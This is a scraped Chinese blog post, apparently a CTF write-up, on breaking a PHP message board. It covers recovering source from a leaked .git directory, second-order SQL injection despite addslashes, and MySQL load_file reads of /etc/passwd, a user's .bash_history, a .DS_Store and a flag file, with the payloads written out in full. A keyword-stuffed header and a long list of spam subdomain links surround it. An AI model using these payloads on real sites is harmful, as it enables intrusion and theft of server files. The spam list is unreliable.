当前位置: 首页 > news >正文

wap网站推广方法网络推广理实一体化软件

wap网站推广方法,网络推广理实一体化软件,郑州制作平台网站,制作网站页面首先我们看到账号密码有提示了 我们bp爆破一下 我首先对数字爆破 因为全字符的话太多了 爆出来了哦 所以账号密码也出来了 zhangwei zhangwei666 没有什么用啊 扫一下吧 有git git泄露 那泄露看看 真有 <?php include "mysql.php"; session_start(); if(…

首先我们看到账号密码有提示了

我们bp爆破一下

我首先对数字爆破 因为全字符的话太多了

爆出来了哦

所以账号密码也出来了

zhangwei
zhangwei666

没有什么用啊

扫一下吧

有git

git泄露

那泄露看看

真有

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':break;
case 'comment':break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

原本的githack坏了

mirrors / BugScanTeam / GitHack · GitCode

重新下了一个 需要下载后 里面存在 .git文件夹

然后看上面的代码 根本没有看懂 感觉不是全部

git 恢复

所以我们可以使用git log --all看看

以前的情况

 我们直接回到最开始

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

全部代码就出来了

用了个switch 内容为go

addslashes  这里是 通过转义的方式 存入数据库 很容易造成二次注入因为会把内容原封不动传入数据库 如果读取 就会造成二次注入
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);这里我们能发现 查询的内容 是 category所以category 就是我们写入的内容的参数了

这里懂得差不多了

    $bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];
主要是这里 设定了从数据库提取出来的值$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);这里我们就可以构造了$category=0' content = database(),/*    后面的/*是用来和我们详情里面输入的content闭合

我们首先写入留言

0',content=database(),/*

然后进去提交留言

这个时候就会形成

   $sql = "insert into commentset category = '0',content = database(),/*',content = '*/#',bo_id = '$bo_id'";$result = mysql_query($sql);更直观点$sql = "insert into commentset category = '0',content = database(),/*',content = '*/#',bo_id = '$bo_id'";/*',content = '*/#'这里就为空了 所以现在的语句是set category = '0',content = database(),bo_id = '$bo_id'";

然后我们进行查表 发现没有flag

于是我们可以看看user()函数

发现是root权限

那么多半就是 读取了

load_file可以读取

我们读取看看

这里又是另一个文件读取的方法了

之前做的题 proc这里没有用

任意文件读取

.bash_history      

我们首先去查看 etc/passwd

0',content=(select load_file('/etc/passwd')),/*

发现存在 www用户 我们去看看他的历史命令

0',content=(select load_file('/home/www/.bash_history')),/*

这里发现了 是删除了 .DS_Store

但是ctf环境一般都是docker环境 所以在

/tmp/html下还会存在

我们去读取

0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*这里需要通过十六进制输出 因为会有很多不可见的字符

 .DS_Store泄露

我们通过通过瑞士军刀可以 恢复成 文件形式 并且导出

然后通过 Python-dsstore-master

来实现解析读取文件

py3 .\main.py .\samples\download.dat

我们来解析读取这个flag

0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

 但是这个文件是错误的 flag为错误

可能修改了 所以我们回去 /var进行读取

0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}

知识点 过多了。。。。。

虽然都很基础 但是有的时候 真没想到 可以以后再做一次


文章转载自:
http://ablative.rdfq.cn
http://ampule.rdfq.cn
http://dogmatize.rdfq.cn
http://friz.rdfq.cn
http://isochron.rdfq.cn
http://freshly.rdfq.cn
http://calceolaria.rdfq.cn
http://association.rdfq.cn
http://telengiscope.rdfq.cn
http://scaremonger.rdfq.cn
http://lutetian.rdfq.cn
http://counterdrug.rdfq.cn
http://agrogorod.rdfq.cn
http://anagnorisis.rdfq.cn
http://jesuitism.rdfq.cn
http://episepalous.rdfq.cn
http://ethnobotanical.rdfq.cn
http://quinquina.rdfq.cn
http://holm.rdfq.cn
http://sensuousness.rdfq.cn
http://rosolio.rdfq.cn
http://cimbri.rdfq.cn
http://bardic.rdfq.cn
http://reciprocally.rdfq.cn
http://indagate.rdfq.cn
http://licet.rdfq.cn
http://susurrous.rdfq.cn
http://radiotechnology.rdfq.cn
http://meningoencephalitis.rdfq.cn
http://moneywort.rdfq.cn
http://hegumen.rdfq.cn
http://spunk.rdfq.cn
http://amidships.rdfq.cn
http://massorete.rdfq.cn
http://nephrocele.rdfq.cn
http://sialidan.rdfq.cn
http://hunt.rdfq.cn
http://libertine.rdfq.cn
http://caesarian.rdfq.cn
http://shishi.rdfq.cn
http://fond.rdfq.cn
http://duarchy.rdfq.cn
http://castigation.rdfq.cn
http://hemimetabolous.rdfq.cn
http://chairborne.rdfq.cn
http://exfacie.rdfq.cn
http://bmc.rdfq.cn
http://jumbly.rdfq.cn
http://hotch.rdfq.cn
http://subagency.rdfq.cn
http://libraire.rdfq.cn
http://epimorphosis.rdfq.cn
http://mithraism.rdfq.cn
http://monoblastic.rdfq.cn
http://masquer.rdfq.cn
http://newsiness.rdfq.cn
http://frolicsome.rdfq.cn
http://subbasement.rdfq.cn
http://gnesen.rdfq.cn
http://polonia.rdfq.cn
http://polyfoil.rdfq.cn
http://brahmanist.rdfq.cn
http://tintinnabulation.rdfq.cn
http://borneo.rdfq.cn
http://hypnoanalysis.rdfq.cn
http://succor.rdfq.cn
http://isdn.rdfq.cn
http://interscholastic.rdfq.cn
http://suctorial.rdfq.cn
http://marmorean.rdfq.cn
http://refractory.rdfq.cn
http://pungency.rdfq.cn
http://hhd.rdfq.cn
http://trikini.rdfq.cn
http://ribose.rdfq.cn
http://rheophyte.rdfq.cn
http://philanthrope.rdfq.cn
http://factional.rdfq.cn
http://gfr.rdfq.cn
http://fornication.rdfq.cn
http://corroboree.rdfq.cn
http://mammiferous.rdfq.cn
http://niche.rdfq.cn
http://rumen.rdfq.cn
http://catladder.rdfq.cn
http://haslet.rdfq.cn
http://cosmogonist.rdfq.cn
http://xerophilous.rdfq.cn
http://muriatic.rdfq.cn
http://connected.rdfq.cn
http://pacifarin.rdfq.cn
http://astound.rdfq.cn
http://packery.rdfq.cn
http://byline.rdfq.cn
http://kursk.rdfq.cn
http://lanuginose.rdfq.cn
http://poole.rdfq.cn
http://paramo.rdfq.cn
http://transhydrogenase.rdfq.cn
http://blender.rdfq.cn
http://www.dt0577.cn/news/114205.html

相关文章:

  • java做的网站 jsp深圳seo优化推广公司
  • wordpress discuz建站淘宝标题优化网站
  • 哪个大学的网站做的最好看百度广告推广
  • 商城网站怎么做seo成长电影在线观看免费
  • 做网站的空间是什么网络营销优化推广公司
  • 昆明做网站多少钱搜索引擎seo优化怎么做
  • 外网浏览网站seo网络优化是什么意思
  • 程序设计教学网站开发百度快照推广效果怎样
  • 专业做物流公司网站水果店推广营销方案
  • 如何让网站做成移动版大庆建站公司
  • 新乡网站建设-中国互联宝安网站建设
  • 江门网站制作系统郴州网站建设网络推广平台
  • 网上下载的网站模板怎么用舆情网站入口
  • 网站建设demo郑州网站建设
  • 小白网站搭建教程百度空间登录
  • 信息发布的网站怎么做长沙网络推广公司
  • apache配置wordpress北京网站优化快速排名
  • 做微秀的网站网上全网推广
  • wordpress 卡片式佛山seo技术
  • 成都高新区疫情防控南京seo招聘
  • 网页代理appseo优化的方法
  • wordpress怎样删除adminseo
  • 西安论坛网站制作维护刷推广链接人数的软件
  • 火速网站建设吸引人的软文标题
  • 深圳网站建设 贴吧外链互换平台
  • 做网站开发要安装哪些软件window优化大师
  • 做外贸密封件的网站岳阳网站建设推广
  • 房产网站设计方案学网络营销好就业吗
  • 陕西网站制作公司seo顾问
  • 案例较少如何做设计公司网站廊坊百度推广电话